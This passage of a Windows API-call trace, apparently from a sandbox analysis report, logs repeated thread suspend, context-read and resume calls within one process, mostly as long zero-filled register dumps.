hSourceHandle=0x11c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0176.285] SuspendThread (hThread=0x170) returned 0x0 [0176.285] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x4b5bf758, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fffccacb8e4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0176.773] ResumeThread (hThread=0x170) returned 0x1 [0176.773] CloseHandle (hObject=0x170) returned 1 [0176.774] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0176.774] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0176.774] SetEvent (hEvent=0x114) returned 1 [0176.774] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0176.774] SuspendThread (hThread=0x170) returned 0x0 [0176.774] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e08, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x24ca080, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0176.841] SetThreadContext (hThread=0x170, lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0176.850] ResumeThread (hThread=0x170) returned 0x1 [0176.850] CloseHandle (hObject=0x170) returned 1 [0176.850] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0176.850] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0176.850] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0176.850] SuspendThread (hThread=0x170) returned 0x0 [0176.850] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0176.859] ResumeThread (hThread=0x170) returned 0x1 [0176.859] CloseHandle (hObject=0x170) returned 1 [0176.859] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0176.859] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0176.859] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0176.859] SuspendThread (hThread=0x170) returned 0x0 [0176.859] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, 